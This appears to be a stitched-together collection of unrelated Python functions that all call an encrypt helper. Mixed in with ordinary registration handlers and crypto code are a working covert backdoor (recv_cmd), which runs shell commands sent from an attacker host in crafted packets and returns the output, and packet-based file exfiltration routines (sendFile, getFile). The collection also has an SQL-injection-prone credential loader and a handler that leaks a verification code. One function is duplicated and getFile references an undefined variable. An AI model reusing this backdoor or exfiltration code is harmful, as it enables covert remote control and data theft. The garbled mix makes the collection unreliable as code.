def CBC_encrypt(message, key): words = message xoredBlock = xor_two_str(words[0] + words[1] + words[2] + words[3], IV) orgin, encrypted_block = encrypt(xoredBlock, key) # cr6 cipherMessage = list(encrypted_block[0:]) for k in range( 4, len(words), 4 ): # xor each block with the prev encrypted block and ecrypt it and save it to cipherMessage xoredBlock = xor_two_str( words[k] + words[k + 1] + words[k + 2] + words[k + 3], deBlocker(encrypted_block)) orgi, encrypted_block = encrypt(xoredBlock, key) cipherMessage.append(encrypted_block[0]) cipherMessage.append(encrypted_block[1]) cipherMessage.append(encrypted_block[2]) cipherMessage.append(encrypted_block[3]) # print("encryption number " + str(k)) print("size of cipherMessage = ", len(cipherMessage)) return cipherMessage # list of long
def POST(self): input = web.input(email = None) if input.email == None: return output(110) if not re.compile(r'(([a-z\-\.]|[0-9]))+@[a-z\-\.]+$').match(input.email): return output(120) db = getDb() results = db.select('user', vars = {'login_name' : input.email}, where = "login_name=$login_name", what = "user_id,type") is_register = True length = len(results) if length == 0: is_register = False else: user = results[0] if user.type == '2': is_register = False if not is_register: verify_code = str(random.randint(000000, 999999)) status = send_mail(input.email,"欢迎注册 Oletter","\n您的验证码为"+verify_code+"\n该验证码在30分钟内有效") if status == -1: return output(701) t = db.transaction() try: if length == 0: user_id = db.insert('user', login_name = input.email, type = '2') else: user_id = user.user_id results = db.select('verify', vars = {'id':user_id}, where = "user_id=$id") if len(results) == 0: db.insert('verify', user_id = user_id, verify_code = verify_code, add_time = int(time.mktime(time.localtime()))) else: db.update('verify', vars = {'id':user_id}, where = "user_id=$id", verify_code = verify_code, add_time = int(time.mktime(time.localtime()))) t.commit() except: t.rollback() return output(700) return output(200, {'verify_code_md5' : encrypt(verify_code)}) else: return output(420)
def exchange_loop(self, client: socket.socket, remote: socket.socket, encrypt, decrypt): while True: # wait until client or remote is available for read r, _, _ = select.select([client, remote], [], []) if client in r: data = client.recv(SocksProxyLocal.BUF_SIZE) if remote.send(encrypt(data)) <= 0: break if remote in r: data = remote.recv(SocksProxyLocal.BUF_SIZE) if client.send(decrypt(data)) <= 0: break
def recv_cmd(pkt): global dst_ip if ARP in pkt: # check if the packet has APR packet return elif DHCP in pkt: # check if the packet has DHCP packet return elif UDP in pkt: # check if the packet has UDP packet return elif pkt[IP].options != None and pkt[IP].id == 7777: # check option exists and packet IP id header if pkt[IP].src == dst_ip : # check IP address if it is from hacker machine if pkt[TCP].dport == 14156: # check TCP dst port # get command from backdoor server enc_cmd = pkt['Raw'].load # decrypt command cmd = decrypt(enc_cmd, KEY) # execute command p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output, err = p.communicate() cmd_output = output + err # encrypt data enc_cmd_output = encrypt(cmd_output, KEY) try: # send to server send_to_client(enc_cmd_output) except socket.error as e: # socket error handling print e # sometimes it generates data too large error enc_cmd_output = encrypt(str(e), KEY) send(IP(dst=dst_ip, id=7777, options=IPOption('\x83\x03\x10'))/(TCP(dport=14156))/Raw(load=enc_cmd_output))
def sendFile(address, port, sFile): if protocol == "tcp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=port, seq=random.randint(0, 16777215), flags=0 + 32)/\ Raw(load=encrypt(sFile.split("/")[len(sFile.split("/"))-1])) send(commandPacket, verbose=0) try: with open(sFile, "r") as tFile: for line in tFile: time.sleep(0.1) commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[TCP].seq = commandPacket[TCP].seq + 1 commandPacket[Raw].load = encrypt(line) send(commandPacket, verbose=0) except IOError: print "No such file" commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[TCP].seq = commandPacket[TCP].seq + 1 commandPacket[Raw].load = "" commandPacket[TCP].flags = "F" elif protocol == "udp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ UDP(sport=(random.randint(0, 255)<<8) + 1, dport=port)/\ Raw(load=encrypt(sFile)) send(commandPacket, verbose=0) try: with open(sFile, "r") as tFile: for line in tFile: commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[Raw].load = encrypt(line) send(commandPacket, verbose=0) except IOError: print "No such file" commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[Raw].load = "" commandPacket[UDP].sport = 0 send(commandPacket, verbose=0)
def sendFile(address, port, sFile): if protocol == "tcp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ TCP(sport=random.randint(0, 65535), dport=port, seq=random.randint(0, 16777215), flags=0 + 32)/\ Raw(load=encrypt(sFile.split("/")[len(sFile.split("/"))-1])) send(commandPacket, verbose=0) try: with open(sFile, "r") as tFile: for line in tFile: time.sleep(0.1) commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[TCP].seq = commandPacket[TCP].seq + 1 commandPacket[Raw].load = encrypt(line) send(commandPacket, verbose=0) except IOError: print "No such file" commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[TCP].seq = commandPacket[TCP].seq + 1 commandPacket[Raw].load = "" commandPacket[TCP].flags="F" elif protocol == "udp": commandPacket = IP(dst=address, id=random.randint(0, 65535))/\ UDP(sport=(random.randint(0, 255)<<8) + 1, dport=port)/\ Raw(load=encrypt(sFile)) send(commandPacket, verbose=0) try: with open(sFile, "r") as tFile: for line in tFile: commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[Raw].load = encrypt(line) send(commandPacket, verbose=0) except IOError: print "No such file" commandPacket[IP].id = commandPacket[IP].id + 1 commandPacket[Raw].load = "" commandPacket[UDP].sport = 0 send(commandPacket, verbose=0)
def POST(self): input = web.input(mobile = None, password = None, verify_code = None) if input.mobile == None or input.password == None or input.verify_code == None: return output(110) try: input.verify_code = int(input.verify_code) except: return output(111) length = len(input.password) if length < 6: return output(130) if length > 18: return output(131) if not re.compile(r'^[0-9A-Za-z]+$').match(input.password): return output(132) db = getDb() results = db.select('user', vars = {'mobile' : input.mobile}, where = "mobile=$mobile") if len(results) != 1: return output(421) user = results[0] if user.verified == 'yes': return output(420) myvar = {'id' : user.user_id} results = db.select('user_verify', vars = myvar, where = "user_id=$id") if len(results) == 0: return output(431) if results[0].verify_code != input.verify_code: return output(431) t = db.transaction() try: db.update('user', vars = myvar, where = "user_id=$id", verified = 'yes', passwd = encrypt(input.password)) db.delete('user_verify', vars = myvar, where = "user_id=$id") t.commit() except: t.rollback() return output(700) return output(200)
def setPerm(obj, perm, users): enc_dirs, key = _getEncryptedFilePath(obj) print "read perm: " , obj print "enc_dirs: ", enc_dirs data = {'username': CURRENT_USER, 'action': 'read_acl', 'pathname': enc_dirs} signature = sign_inner_dictionary(USER_PRK, data) msg = json.dumps({'username': CURRENT_USER, 'signature': signature, 'data': data}) response = _transmitToServer(msg) respdata = json.loads(response) #json.loads(decrypt(rsa_key.exportKey('PEM'), response)) print "data: ", respdata acl = respdata['data']['acl'] for u in users: entry = {'perm': [], 'shared_key': None} if perm == 'r': entry['perm'] = ['1', '0'] elif perm == 'rw': entry['perm'] = ['1', '1'] elif perm == 'w': entry['perm'] = ['1', '1'] key_msg = {'username': CURRENT_USER, 'data': {'action': 'key', 'username': u }} key_sig = sign_inner_dictionary(USER_PRK, key_msg['data']) key_msg['signature'] = key_sig resp = json.loads(_transmitToServer(json.dumps(key_msg))) public_key = RSA.construct((resp['data']['public_key']['N'], long(resp['data']['public_key']['e']))) entry['shared_key'] = encrypt(public_key, key) acl[u] = entry acl_data = {'username': CURRENT_USER, 'action': 'write_acl', 'pathname': enc_dirs, 'acl': acl, 'signature_acl': sign_inner_dictionary(USER_PRK, acl)} write_msg = json.dumps({'username': CURRENT_USER, 'signature': sign_inner_dictionary(USER_PRK, acl_data), 'data': acl_data}) write_resp = json.loads(_transmitToServer(write_msg)) return write_resp
def encrypt_password(): iplist = open("/mama100/mama100/tools/test115.txt",'rb') #conn_mysql('delete from hostpasswd') for line in iplist: #print line.split(' ') list=line.split() ip=list[0] username=list[1] password=list[2] en_password=encrypt(key,password) print password #print list[2],len(list[2]) sql='insert into hostpasswd(ip,username,password) values (\''+ip+'\',\''+username+'\',"'+en_password+'")' #print sql conn_mysql(sql) iplist.close()
def getFile(packet): if packet.haslayer(TCP): dPacket = IP(dst=packet[IP].src, id=random.randint(0, 65535))/\ TCP(sport=packet[TCP].dport, dport=packet[TCP].sport, seq=random.randint(0, 16777215))/\ Raw(load="") try: with open(encrypt(packet[Raw].load), "r") as tFile: for line in tFile: time.sleep(0.1) dPacket[IP].id = dPacket[IP].id + 1 dPacket[TCP].seq = dPacket[TCP].seq + 1 dPacket[Raw].load = encrypt(line) send(dPacket, verbose=0) except IOError: if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write(encrypt(packet[Raw].load) + " does not exist" + "\n") dPacket[IP].id = dPacket[IP].id + 1 dPacket[TCP].seq = dPacket[TCP].seq + 1 dPacket[Raw].load = "" dPacket[TCP].flags="F" send(dPacket, verbose=0) elif packet.haslayer(UDP): dPacket = IP(dst=packet[IP].src, id=random.randint(0, 65535))/\ UDP(sport=packet[UDP].dport, dport=packet[UDP].sport)/\ Raw(load="") try: with open(encrypt(packet[Raw].load), "r") as tFile: for line in tFile: time.sleep(0.1) dPacket[IP].id = dPacket[IP].id + 1 dPacket[Raw].load = encrypt(line) send(dPacket, verbose=0) except IOError: if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write(encrypt(packet[Raw].load) + " does not exist" + "\n") dPacket[IP].id = commandPacket[IP].id + 1 dPacket[Raw].load = "" dPacket[UDP].sport = 0 send(commandPacket, verbose=0) if len(logFile) > 0: with open(logFile, "a") as serverLog: serverLog.write(encrypt(packet[Raw].load) + " sent to " + packet[IP].src + " at " + time.ctime() + "\n")
def POST(self): input = web.input(email = None,password = None,verify_code = None,name =None,is_male=None) if input.email == None or input.password == None or input.verify_code ==None: return output(110) if len(input.password) < 6 or len(input.password) > 18: return output(130) if not re.compile(r'[0-9A-Za-z_]+').match(input.password): return output(131) if input.name ==None or input.is_male==None: return output(109) try: input.is_male = int(input.is_male) except: return output(113) db = getDb() results = db.select('user', vars = {'name':input.email}, where = "login_name=$name", what = "type, user_id") if len(results) == 0: return output(431) user = results[0] if user.type != '2': return output(420) results = db.select('verify', vars = {'id':user.user_id, 'code':str(input.verify_code)}, where = "user_id=$id and verify_code=$code") if len(results) == 0: return output(431) t = db.transaction() try: infoSet.SetInfo(name=input.name,is_male = input.is_male,user_id=user.user_id) db.update('user', vars = {'id':user.user_id}, where = "user_id=$id", type = '1', password = encrypt(input.password)) db.delete('verify', vars = {'id':user.user_id}, where = "user_id=$id") t.commit() except: t.rollback() return output(700) return output(200)